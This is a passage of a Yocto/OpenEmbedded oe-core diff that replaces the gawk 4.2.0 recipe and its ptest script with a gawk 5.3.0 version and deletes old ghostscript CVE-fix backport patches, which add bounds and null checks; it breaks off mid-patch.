-SRC_URI[md5sum] = "b05f5dcbfe359f198eef3df5b283d896"
-SRC_URI[sha256sum] = "a2e2e53e502571e88eeb9010c45a0d54671f15707ee104f5c9c22b59ea7a33e3"
-
-UPSTREAM_CHECK_REGEX = "foomatic-filters-(?P<pver>((\d|\d\d)\.*)+)\.tar\.gz"
-
-inherit autotools pkgconfig
-
-EXTRA_OECONF += "--disable-file-converter-check --with-file-converter=texttops"
-
-do_configure_prepend() {
- export PERL="${bindir}/env perl"
- export CUPS_SERVERBIN=${exec_prefix}/lib/cups # /usr/lib NOT libdir
-}
-
-do_install_append_linuxstdbase() {
- install -d ${D}${exec_prefix}/lib/cups/filter
- ln -sf ${bindir}/foomatic-rip ${D}${exec_prefix}/lib/cups/filter
-}
-
-FILES_${PN} += "${exec_prefix}/lib/cups/ ${exec_prefix}/lib/ppr/"
diff --git a/meta/recipes-extended/gawk/gawk/run-ptest b/meta/recipes-extended/gawk/gawk/run-ptest
index d23f0bf6d7..f4ef3e7bd4 100644
--- a/meta/recipes-extended/gawk/gawk/run-ptest
+++ b/meta/recipes-extended/gawk/gawk/run-ptest
@@ -1,10 +1,27 @@
#!/bin/sh
cd test
-for i in `grep -vE "@|^$|#|Gt-dummy" Maketests |awk -F: '{print $1}'`; \
- do LC_ALL=${GAWKLOCALE:-C} LANG=${GAWKLOCALE:-C} srcdir=`pwd` AWK=gawk CMP=cmp \
- make -f Maketests $i >$i.tmp 2>&1; \
- grep -q "Error" $i.tmp; \
- if [ $? -eq 0 ]; then echo "FAIL: $i"; \
- else echo "PASS: $i"; rm -f $i.tmp; fi; \
+for i in `grep -E "^[a-z0-9_-]*:$" Maketests |awk -F: '{print $1}'`; do
+ unset LANG
+ grep -q "^$i$" skipped.txt
+ if [ $? -eq 0 ]; then
+ echo "SKIP: $i"
+ continue
+ fi
+ srcdir=`pwd` AWKPROG=gawk AWK=gawk CMP=cmp make -f Maketests $i >$i.tmp 2>&1
+ if [ -e _$i ]; then
+ cat _$i
+ grep -q "support not compiled in" _$i
+ if [ $? -eq 0 ]; then
+ echo "SKIP: $i"
+ continue
+ fi
+ fi
+ grep -q "Error" $i.tmp
+ if [ $? -eq 0 ]; then
+ echo "FAIL: $i"
+ else
+ echo "PASS: $i"
+ rm -f $i.tmp
+ fi
done
diff --git a/meta/recipes-extended/gawk/gawk_4.2.0.bb b/meta/recipes-extended/gawk/gawk_4.2.0.bb
deleted file mode 100644
index 27f79a2bed..0000000000
--- a/meta/recipes-extended/gawk/gawk_4.2.0.bb
+++ /dev/null
@@ -1,48 +0,0 @@
-SUMMARY = "GNU awk text processing utility"
-DESCRIPTION = "The GNU version of awk, a text processing utility. \
-Awk interprets a special-purpose programming language to do \
-quick and easy text pattern matching and reformatting jobs."
-HOMEPAGE = "https://www.gnu.org/software/gawk/"
-BUGTRACKER = "bug-gawk@gnu.org"
-SECTION = "console/utils"
-
-# gawk <= 3.1.5: GPLv2
-# gawk >= 3.1.6: GPLv3
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-DEPENDS += "readline"
-
-PACKAGECONFIG[mpfr] = "--with-mpfr,--without-mpfr, mpfr"
-
-SRC_URI = "${GNU_MIRROR}/gawk/gawk-${PV}.tar.gz \
- file://run-ptest \
-"
-
-SRC_URI[md5sum] = "0b598c31bc703d66082bd958d4189980"
-SRC_URI[sha256sum] = "c88046c6e8396ee548bcb941e16def809b7b55b60a1044b5dd254094f347c7d9"
-
-inherit autotools gettext texinfo update-alternatives
-
-FILES_${PN} += "${datadir}/awk"
-FILES_${PN}-dev += "${libdir}/${BPN}/*.la"
-
-ALTERNATIVE_${PN} = "awk"
-ALTERNATIVE_TARGET[awk] = "${bindir}/gawk"
-ALTERNATIVE_PRIORITY = "100"
-
-do_install_append() {
- # remove the link since we don't package it
- rm ${D}${bindir}/awk
-}
-
-inherit ptest
-
-do_install_ptest() {
- mkdir ${D}${PTEST_PATH}/test
- for i in `grep -vE "@|^$|#|Gt-dummy" ${S}/test/Maketests |awk -F: '{print $1}'` Maketests inclib.awk; \
- do cp ${S}/test/$i* ${D}${PTEST_PATH}/test; \
- done
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/gawk/gawk_5.3.0.bb b/meta/recipes-extended/gawk/gawk_5.3.0.bb
new file mode 100644
index 0000000000..d7a0fc616d
--- /dev/null
+++ b/meta/recipes-extended/gawk/gawk_5.3.0.bb
@@ -0,0 +1,87 @@
+SUMMARY = "GNU awk text processing utility"
+DESCRIPTION = "The GNU version of awk, a text processing utility. \
+Awk interprets a special-purpose programming language to do \
+quick and easy text pattern matching and reformatting jobs."
+HOMEPAGE = "https://www.gnu.org/software/gawk/"
+BUGTRACKER = "bug-gawk@gnu.org"
+SECTION = "console/utils"
+
+# gawk <= 3.1.5: GPL-2.0-only
+# gawk >= 3.1.6: GPL-3.0-only
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+PACKAGECONFIG ??= "readline"
+PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
+PACKAGECONFIG[mpfr] = "--with-mpfr,--without-mpfr, mpfr"
+
+SRC_URI = "${GNU_MIRROR}/gawk/gawk-${PV}.tar.gz \
+ file://run-ptest \
+ "
+
+SRC_URI[sha256sum] = "378f8864ec21cfceaa048f7e1869ac9b4597b449087caf1eb55e440d30273336"
+
+inherit autotools gettext texinfo update-alternatives
+
+FILES:${PN} += "${datadir}/awk"
+FILES:${PN}-dev += "${libdir}/${BPN}/*.la"
+
+PACKAGES =+ "${PN}-gawkbug"
+FILES:${PN}-gawkbug += "${bindir}/gawkbug"
+
+ALTERNATIVE:${PN} = "awk"
+ALTERNATIVE_TARGET[awk] = "${bindir}/gawk"
+ALTERNATIVE_PRIORITY = "100"
+
+do_install:append() {
+ # remove the link since we don't package it
+ rm ${D}${bindir}/awk
+ # Strip non-reproducible build flags (containing build paths)
+ sed -i -e 's|^CC.*|CC=""|g' -e 's|^CFLAGS.*|CFLAGS=""|g' ${D}${bindir}/gawkbug
+}
+
+inherit ptest
+
+do_install_ptest() {
+ mkdir ${D}${PTEST_PATH}/test
+ ln -s ${bindir}/gawk ${D}${PTEST_PATH}/gawk
+ # The list of tests is all targets in Maketests, apart from the dummy Gt-dummy
+ TESTS=$(awk -F: '$1 == "Gt-dummy" { next } /[[:alnum:]]+:$/ { print $1 }' ${S}/test/Maketests)
+ for i in $TESTS Maketests inclib.awk; do
+ cp ${S}/test/$i* ${D}${PTEST_PATH}/test
+ done
+ sed -i \
+ -e 's|#!${base_bindir}/awk|#!${bindir}/awk|g' ${D}${PTEST_PATH}/test/*.awk
+
+ sed -i -e "s|GAWKLOCALE|LANG|g" ${D}${PTEST_PATH}/test/Maketests
+
+ # These tests require an unloaded host as otherwise timing sensitive tests can fail
+ # https://bugzilla.yoctoproject.org/show_bug.cgi?id=14371
+ rm -f ${D}${PTEST_PATH}/test/time.*
+ rm -f ${D}${PTEST_PATH}/test/timeout.*
+ for t in time timeout; do
+ echo $t >> ${D}${PTEST_PATH}/test/skipped.txt
+ done
+}
+
+do_install_ptest:append:libc-musl() {
+ # Reported https://lists.gnu.org/archive/html/bug-gawk/2021-02/msg00005.html
+ rm -f ${D}${PTEST_PATH}/test/clos1way6.*
+ # Needs en_US.UTF-8 but then does not work with musl
+ rm -f ${D}${PTEST_PATH}/test/backsmalls1.*
+ # Needs en_US.UTF-8 but then does not work with musl
+ rm -f ${D}${PTEST_PATH}/test/commas.*
+ # The below two need LANG=C inside the make rule for musl
+ rm -f ${D}${PTEST_PATH}/test/rebt8b1.*
+ rm -f ${D}${PTEST_PATH}/test/regx8bit.*
+ for t in clos1way6 backsmalls1 commas rebt8b1 regx8bit; do
+ echo $t >> ${D}${PTEST_PATH}/test/skipped.txt
+ done
+}
+
+RDEPENDS:${PN}-ptest += "make locale-base-en-us coreutils"
+
+RDEPENDS:${PN}-ptest:append:libc-glibc = " locale-base-en-us.iso-8859-1"
+RDEPENDS:${PN}-ptest:append:libc-musl = " musl-locales"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/ghostscript/files/do-not-check-local-libpng-source.patch b/meta/recipes-extended/ghostscript/files/do-not-check-local-libpng-source.patch
deleted file mode 100644
index c3e44fe86a..0000000000
--- a/meta/recipes-extended/ghostscript/files/do-not-check-local-libpng-source.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From 5ef8b85bc98f3bd9a15d5f47e24d3e23ae27c265 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Mon, 18 Jan 2016 01:00:30 -0500
-Subject: [PATCH] configure.ac: do not check local png source
-
-In oe-core, it did not need to compile local libpng
-source in ghostscript, so do not check local png
-source, and directly check the existance of shared
-libpng library.
-
-Upstream-Status: Inappropriate [OE-Core specific]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- configure.ac | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index bf6d3f5..01df03f 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -930,11 +930,11 @@ AC_SUBST(ZLIBDIR)
- AC_SUBST(FT_SYS_ZLIB)
-
- dnl png for the png output device; it also requires zlib
--LIBPNGDIR=src
-+LIBPNGDIR=$srcdir/libpng
- PNGDEVS=''
- PNGDEVS_ALL='png48 png16m pnggray pngmono pngmonod png256 png16 pngalpha'
- AC_MSG_CHECKING([for local png library source])
--if test -f $srcdir/libpng/pngread.c; then
-+if false; then
- AC_MSG_RESULT([yes])
- SHARE_LIBPNG=0
- LIBPNGDIR=$srcdir/libpng
---
-2.8.1
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/CVE-2016-7977.patch b/meta/recipes-extended/ghostscript/ghostscript/CVE-2016-7977.patch
deleted file mode 100644
index b7eed1241e..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/CVE-2016-7977.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 8abd22010eb4db0fb1b10e430d5f5d83e015ef70 Mon Sep 17 00:00:00 2001
-From: Chris Liddell <chris.liddell@artifex.com>
-Date: Mon, 3 Oct 2016 01:46:28 +0100
-Subject: [PATCH] Bug 697169: Be rigorous with SAFER permissions
-
-Once we've opened our input file from the command line, enforce the SAFER
-rules.
-
-Upstream-Status: Backport
-CVE: CVE-2016-7977
-
-Signed-off-by: Catalin Enache <catalin.enache@windriver.com>
----
- psi/zfile.c | 3 +++
- 1 file changed, 3 insertions(+)
-
-diff --git a/psi/zfile.c b/psi/zfile.c
-index b6caea2..2c6c958 100644
---- a/psi/zfile.c
-+++ b/psi/zfile.c
-@@ -1081,6 +1081,9 @@ lib_file_open(gs_file_path_ptr lib_path, const gs_memory_t *mem, i_ctx_t *i_ctx
- gs_main_instance *minst = get_minst_from_memory(mem);
- int code;
-
-+ if (i_ctx_p && starting_arg_file)
-+ i_ctx_p->starting_arg_file = false;
-+
- /* when starting arg files (@ files) iodev_default is not yet set */
- if (iodev == 0)
- iodev = (gx_io_device *)gx_io_device_table[0];
---
-2.10.2
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-11714.patch b/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-11714.patch
deleted file mode 100644
index 84983c5aea..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-11714.patch
+++ /dev/null
@@ -1,61 +0,0 @@
-From 671fd59eb657743aa86fbc1895cb15872a317caa Mon Sep 17 00:00:00 2001
-From: Chris Liddell <chris.liddell@artifex.com>
-Date: Thu, 6 Jul 2017 14:54:02 +0100
-Subject: [PATCH] Bug 698158: prevent trying to reloc a freed object
-
-In the token reader, we pass the scanner state structure around as a
-t_struct ref on the Postscript operand stack.
-
-But we explicitly free the scanner state when we're done, which leaves a
-dangling reference on the operand stack and, unless that reference gets
-overwritten before the next garbager run, we can end up with the garbager
-trying to deal with an already freed object - that can cause a crash, or
-memory corruption.
----
- psi/ztoken.c | 14 +++++++++++++-
- 1 file changed, 13 insertions(+), 1 deletion(-)
-
---- end of original header
-
-CVE: CVE-2017-11714
-
-Upstream-Status: Backport [git://git.ghostscript.com/ghostpdl.git]
-
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
-diff --git a/psi/ztoken.c b/psi/ztoken.c
-index 4dba7c5..af1ceeb 100644
---- a/psi/ztoken.c
-+++ b/psi/ztoken.c
-@@ -107,6 +107,12 @@ token_continue(i_ctx_t *i_ctx_p, scanner_state * pstate, bool save)
- int code;
- ref token;
-
-+ /* Since we might free pstate below, and we're dealing with
-+ * gc memory referenced by the stack, we need to explicitly
-+ * remove the reference to pstate from the stack, otherwise
-+ * the garbager will fall over
-+ */
-+ make_null(osp);
- /* Note that gs_scan_token may change osp! */
- pop(1); /* remove the file or scanner state */
- again:
-@@ -183,8 +189,14 @@ ztokenexec_continue(i_ctx_t *i_ctx_p)
- static int
- tokenexec_continue(i_ctx_t *i_ctx_p, scanner_state * pstate, bool save)
- {
-- os_ptr op;
-+ os_ptr op = osp;
- int code;
-+ /* Since we might free pstate below, and we're dealing with
-+ * gc memory referenced by the stack, we need to explicitly
-+ * remove the reference to pstate from the stack, otherwise
-+ * the garbager will fall over
-+ */
-+ make_null(osp);
- /* Note that gs_scan_token may change osp! */
- pop(1);
- again:
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-5951.patch b/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-5951.patch
deleted file mode 100644
index 62cc1342ad..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-5951.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-From bfa6b2ecbe48edc69a7d9d22a12419aed25960b8 Mon Sep 17 00:00:00 2001
-From: Chris Liddell <chris.liddell@artifex.com>
-Date: Thu, 6 Apr 2017 16:44:54 +0100
-Subject: [PATCH] Bug 697548: use the correct param list enumerator
-
-When we encountered dictionary in a ref_param_list, we were using the enumerator
-for the "parent" param_list, rather than the enumerator for the param_list
-we just created for the dictionary. That parent was usually the stack
-list enumerator, and caused a segfault.
-
-Using the correct enumerator works better.
-
-Upstream-Status: Backport
-CVE: CVE-2017-5951
-
-Signed-off-by: Catalin Enache <catalin.enache@windriver.com>
----
- psi/iparam.c | 7 ++++---
- 1 file changed, 4 insertions(+), 3 deletions(-)
-
-diff --git a/psi/iparam.c b/psi/iparam.c
-index 4e63b6d..b2fa85f 100644
---- a/psi/iparam.c
-+++ b/psi/iparam.c
-@@ -770,12 +770,13 @@ ref_param_read_typed(gs_param_list * plist, gs_param_name pkey,
- gs_param_enumerator_t enumr;
- gs_param_key_t key;
- ref_type keytype;
-+ dict_param_list *dlist = (dict_param_list *) pvalue->value.d.list;
-
- param_init_enumerator(&enumr);
-- if (!(*((iparam_list *) plist)->enumerate)
-- ((iparam_list *) pvalue->value.d.list, &enumr, &key, &keytype)
-+ if (!(*(dlist->enumerate))
-+ ((iparam_list *) dlist, &enumr, &key, &keytype)
- && keytype == t_integer) {
-- ((dict_param_list *) pvalue->value.d.list)->int_keys = 1;
-+ dlist->int_keys = 1;
- pvalue->type = gs_param_type_dict_int_keys;
- }
- }
---
-2.10.2
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-7207.patch b/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-7207.patch
deleted file mode 100644
index a05dc02c6c..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-7207.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From 0e88bee1304993668fede72498d656a2dd33a35e Mon Sep 17 00:00:00 2001
-From: Ken Sharp <ken.sharp@artifex.com>
-Date: Mon, 20 Mar 2017 09:34:11 +0000
-Subject: [PATCH] Ensure a device has raster memory, before trying to read it.
-
-Bug #697676 "Null pointer dereference in mem_get_bits_rectangle()"
-
-This is only possible by abusing/mis-using Ghostscript-specific
-language extensions, so cannot happen in a general PostScript program.
-
-Nevertheless, Ghostscript should not crash. So this commit checks the
-memory device to see if raster memory has been allocated, before trying
-to read from it.
-
-Upstream-Status: Backport
-CVE: CVE-2017-7207
-
-Author: Ken Sharp <ken.sharp@artifex.com>
-Signed-off-by: Catalin Enache <catalin.enache@windriver.com>
----
- base/gdevmem.c | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/base/gdevmem.c b/base/gdevmem.c
-index 41108ba..183f96d 100644
---- a/base/gdevmem.c
-+++ b/base/gdevmem.c
-@@ -605,6 +605,8 @@ mem_get_bits_rectangle(gx_device * dev, const gs_int_rect * prect,
- GB_PACKING_CHUNKY | GB_COLORS_NATIVE | GB_ALPHA_NONE;
- return_error(gs_error_rangecheck);
- }
-+ if (mdev->line_ptrs == 0x00)
-+ return_error(gs_error_rangecheck);
- if ((w <= 0) | (h <= 0)) {
- if ((w | h) < 0)
- return_error(gs_error_rangecheck);
---
-2.10.2
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-7975.patch b/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-7975.patch
deleted file mode 100644
index e406086e8f..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-7975.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From b39be1019b4acc1aa50c6026463c543332e95a31 Mon Sep 17 00:00:00 2001
-From: Catalin Enache <catalin.enache@windriver.com>
-Date: Mon, 8 May 2017 16:18:14 +0300
-
-Subject: [PATCH] Bug 697693: Prevent SEGV due to integer overflow.
-
-While building a Huffman table, the start and end points were susceptible
-to integer overflow.
-
-Thank you to Jiaqi for finding this issue and suggesting a patch.
-
-Upstream-Status: Backport
-CVE: CVE-2017-7975
-
-Signed-off-by: Catalin Enache <catalin.enache@windriver.com>
-
-Contents of this patch were extracted from a larger patch which addressed
-two CVE's. The context (location of {) was also modified to apply to
-ghostscript 9.21.
-
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
-
---- a/jbig2dec/jbig2_huffman.c
-+++ b/jbig2dec/jbig2_huffman.c
-@@ -421,8 +421,8 @@ jbig2_build_huffman_table(Jbig2Ctx *ctx,
-
- if (PREFLEN == CURLEN) {
- int RANGELEN = lines[CURTEMP].RANGELEN;
-- int start_j = CURCODE << shift;
-- int end_j = (CURCODE + 1) << shift;
-+ uint32_t start_j = CURCODE << shift;
-+ uint32_t end_j = (CURCODE + 1) << shift;
- byte eflags = 0;
-
- if (end_j > max_j) {
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9216.patch b/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9216.patch
deleted file mode 100644
index 1caeb3ef51..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9216.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 3ebffb1d96ba0cacec23016eccb4047dab365853 Mon Sep 17 00:00:00 2001
-From: Shailesh Mistry <shailesh.mistry@hotmail.co.uk>
-Date: Wed, 24 May 2017 19:29:57 +0100
-Subject: [PATCH] Bug 697934: Fix SEGV due to error code being ignored.
-
-The return code from jbig2_decode_text_region was being ignored so the
-code continued to try and parse the invalid file using incomplete/empty
-structures.
-
-Upstream-Status: Backport
-CVE: CVE-2017-9216
-
-Signed-off-by: Catalin Enache <catalin.enache@windriver.com>
----
- jbig2dec/jbig2_symbol_dict.c | 4 +++-
- 1 file changed, 3 insertions(+), 1 deletion(-)
-
-diff --git a/jbig2dec/jbig2_symbol_dict.c b/jbig2dec/jbig2_symbol_dict.c
-index 3cc1731..672425d 100644
---- a/jbig2dec/jbig2_symbol_dict.c
-+++ b/jbig2dec/jbig2_symbol_dict.c
-@@ -493,8 +493,10 @@ jbig2_decode_symbol_dict(Jbig2Ctx *ctx,
- }
-
- /* multiple symbols are handled as a text region */
-- jbig2_decode_text_region(ctx, segment, tparams, (const Jbig2SymbolDict * const *)refagg_dicts,
-+ code = jbig2_decode_text_region(ctx, segment, tparams, (const Jbig2SymbolDict * const *)refagg_dicts,
- n_refagg_dicts, image, data, size, GR_stats, as, ws);
-+ if (code < 0)
-+ goto cleanup4;
-
- SDNEWSYMS->glyphs[NSYMSDECODED] = image;
- refagg_dicts[0]->glyphs[params->SDNUMINSYMS + NSYMSDECODED] = jbig2_image_clone(ctx, SDNEWSYMS->glyphs[NSYMSDECODED]);
---
-2.10.2
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9611.patch b/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9611.patch
deleted file mode 100644
index 58ef04d1fd..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9611.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From c7c55972758a93350882c32147801a3485b010fe Mon Sep 17 00:00:00 2001
-From: Chris Liddell <chris.liddell@artifex.com>
-Date: Mon, 12 Jun 2017 13:08:40 +0100
-Subject: [PATCH] Bug 698024: bounds check zone pointer in Ins_MIRP()
-
----
- base/ttinterp.c | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
---- end of original header
-
-CVE: CVE-2017-9611
-
-Upstream-Status: Backport [git://git.ghostscript.com/ghostpdl.git]
-
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
-diff --git a/base/ttinterp.c b/base/ttinterp.c
-index e56aec6..f6a6d95 100644
---- a/base/ttinterp.c
-+++ b/base/ttinterp.c
-@@ -3858,7 +3858,8 @@ static int nInstrCount=0;
- /* XXX: UNDOCUMENTED! cvt[-1] = 0 always */
-
- if ( BOUNDS( args[0], CUR.zp1.n_points ) ||
-- BOUNDS( args[1]+1, CUR.cvtSize+1 ) )
-+ BOUNDS( args[1]+1, CUR.cvtSize+1 ) ||
-+ BOUNDS(CUR.GS.rp0, CUR.zp0.n_points) )
- {
- CUR.error = TT_Err_Invalid_Reference;
- return;
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9612.patch b/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9612.patch
deleted file mode 100644
index b737cc56bb..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9612.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 98f6da60b9d463c617e631fc254cf6d66f2e8e3c Mon Sep 17 00:00:00 2001
-From: Chris Liddell <chris.liddell@artifex.com>
-Date: Mon, 12 Jun 2017 13:15:17 +0100
-Subject: [PATCH] Bug 698026: bounds check zone pointers in Ins_IP()
-
----
- base/ttinterp.c | 4 +++-
- 1 file changed, 3 insertions(+), 1 deletion(-)
-
---- end of original header
-
-CVE: CVE-2017-9612
-
-Upstream-Status: Backport [git://git.ghostscript.com/ghostpdl.git]
-
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
-diff --git a/base/ttinterp.c b/base/ttinterp.c
-index f6a6d95..e7c9d68 100644
---- a/base/ttinterp.c
-+++ b/base/ttinterp.c
-@@ -4129,7 +4129,9 @@ static int nInstrCount=0;
- Int point;
- (void)args;
-
-- if ( CUR.top < CUR.GS.loop )
-+ if ( CUR.top < CUR.GS.loop ||
-+ BOUNDS(CUR.GS.rp1, CUR.zp0.n_points) ||
-+ BOUNDS(CUR.GS.rp2, CUR.zp1.n_points))
- {
- CUR.error = TT_Err_Invalid_Reference;
- return;
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9726.patch b/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9726.patch
deleted file mode 100644
index 3e6c65699d..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9726.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 7755e67116e8973ee0e3b22d653df026a84fa01b Mon Sep 17 00:00:00 2001
-From: Chris Liddell <chris.liddell@artifex.com>
-Date: Thu, 15 Jun 2017 08:58:31 +0100
-Subject: [PATCH] Bug 698055: bounds check zone pointer in Ins_MDRP
-
----
- base/ttinterp.c | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
---- end of original header
-
-CVE: CVE-2017-9726
-
-Upstream-Status: Backport [git://git.ghostscript.com/ghostpdl.git]
-
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-diff --git a/base/ttinterp.c b/base/ttinterp.c
-index e7c9d68..af457e8 100644
---- a/base/ttinterp.c
-+++ b/base/ttinterp.c
-@@ -3770,7 +3770,8 @@ static int nInstrCount=0;
-
- point = (Int)args[0];
-
-- if ( BOUNDS( args[0], CUR.zp1.n_points ) )
-+ if ( BOUNDS( args[0], CUR.zp1.n_points ) ||
-+ BOUNDS( CUR.GS.rp0, CUR.zp0.n_points) )
- {
- /* Current version of FreeType silently ignores this out of bounds error
- * and drops the instruction, see bug #691121
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9727.patch b/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9727.patch
deleted file mode 100644
index a2f7bfa506..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9727.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 937ccd17ac65935633b2ebc06cb7089b91e17e6b Mon Sep 17 00:00:00 2001
-From: Chris Liddell <chris.liddell@artifex.com>
-Date: Thu, 15 Jun 2017 09:05:20 +0100
-Subject: [PATCH] Bug 698056: make bounds check in gx_ttfReader__Read more
- robust
-
----
- base/gxttfb.c | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
---- end of original header
-
-CVE: CVE-2017-9727
-
-Upstream-Status: Backport [git://git.ghostscript.com/ghostpdl.git]
-
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
-diff --git a/base/gxttfb.c b/base/gxttfb.c
-index 0e9a444..e1561af 100644
---- a/base/gxttfb.c
-+++ b/base/gxttfb.c
-@@ -79,7 +79,8 @@ static void gx_ttfReader__Read(ttfReader *self, void *p, int n)
- if (!r->error) {
- if (r->extra_glyph_index != -1) {
- q = r->glyph_data.bits.data + r->pos;
-- r->error = (r->glyph_data.bits.size - r->pos < n ?
-+ r->error = ((r->pos >= r->glyph_data.bits.size ||
-+ r->glyph_data.bits.size - r->pos < n) ?
- gs_note_error(gs_error_invalidfont) : 0);
- if (r->error == 0)
- memcpy(p, q, n);
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9739.patch b/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9739.patch
deleted file mode 100644
index 69a94df7b9..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9739.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From c501a58f8d5650c8ba21d447c0d6f07eafcb0f15 Mon Sep 17 00:00:00 2001
-From: Chris Liddell <chris.liddell@artifex.com>
-Date: Fri, 16 Jun 2017 08:29:25 +0100
-Subject: [PATCH] Bug 698063: Bounds check Ins_JMPR
-
----
- base/ttinterp.c | 6 ++++++
- 1 file changed, 6 insertions(+)
-
---- end of original header
-
-CVE: CVE-2017-9739
-
-Upstream-Status: Backport [git://git.ghostscript.com/ghostpdl.git]
-
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
-diff --git a/base/ttinterp.c b/base/ttinterp.c
-index af457e8..adf3f0c 100644
---- a/base/ttinterp.c
-+++ b/base/ttinterp.c
-@@ -1794,6 +1794,12 @@ static int nInstrCount=0;
-
- static void Ins_JMPR( INS_ARG )
- {
-+ if ( BOUNDS(CUR.IP + args[0], CUR.codeSize ) )
-+ {
-+ CUR.error = TT_Err_Invalid_Reference;
-+ return;
-+ }
-+
- CUR.IP += (Int)(args[0]);
- CUR.step_ins = FALSE;
-
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9835.patch b/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9835.patch
deleted file mode 100644
index 7c65690c65..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9835.patch
+++ /dev/null
@@ -1,125 +0,0 @@
-From cfde94be1d4286bc47633c6e6eaf4e659bd78066 Mon Sep 17 00:00:00 2001
-From: Chris Liddell <chris.liddell@artifex.com>
-Date: Wed, 7 Jun 2017 14:55:12 +0100
-Subject: [PATCH] Bug 697985: bounds check the array allocations methods
-
-The clump allocator has four allocation functions that use 'number of elements'
-and 'size of elements' parameters (rather than a simple 'number of bytes').
-
-Those need specific bounds checking.
----
- base/gsalloc.c | 42 ++++++++++++++++++++++++++++--------------
- 1 file changed, 28 insertions(+), 14 deletions(-)
-
---- end of original header
-
-CVE: CVE-2017-9835
-
-Upstream-Status: Backport [git://git.ghostscript.com/ghostpdl.git]
-
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
-diff --git a/base/gsalloc.c b/base/gsalloc.c
-index 741ba00..10c04dd 100644
---- a/base/gsalloc.c
-+++ b/base/gsalloc.c
-@@ -1248,19 +1248,32 @@ i_alloc_struct_immovable(gs_memory_t * mem, gs_memory_type_ptr_t pstype,
- alloc_trace("|+<.", imem, cname, pstype, size, obj);
- return obj;
- }
-+
-+static inline bool
-+alloc_array_check_size(ulong num_elements, ulong elt_size, ulong *lsize)
-+{
-+ int64_t s = (int64_t)num_elements * elt_size;
-+ if (s > max_uint) {
-+ return false;
-+ }
-+ *lsize = (ulong)s;
-+ return true;
-+}
-+
- static byte *
- i_alloc_byte_array(gs_memory_t * mem, uint num_elements, uint elt_size,
- client_name_t cname)
- {
- gs_ref_memory_t * const imem = (gs_ref_memory_t *)mem;
- obj_header_t *obj;
--
-+ ulong lsize;
- #ifdef MEMENTO
- if (Memento_failThisEvent())
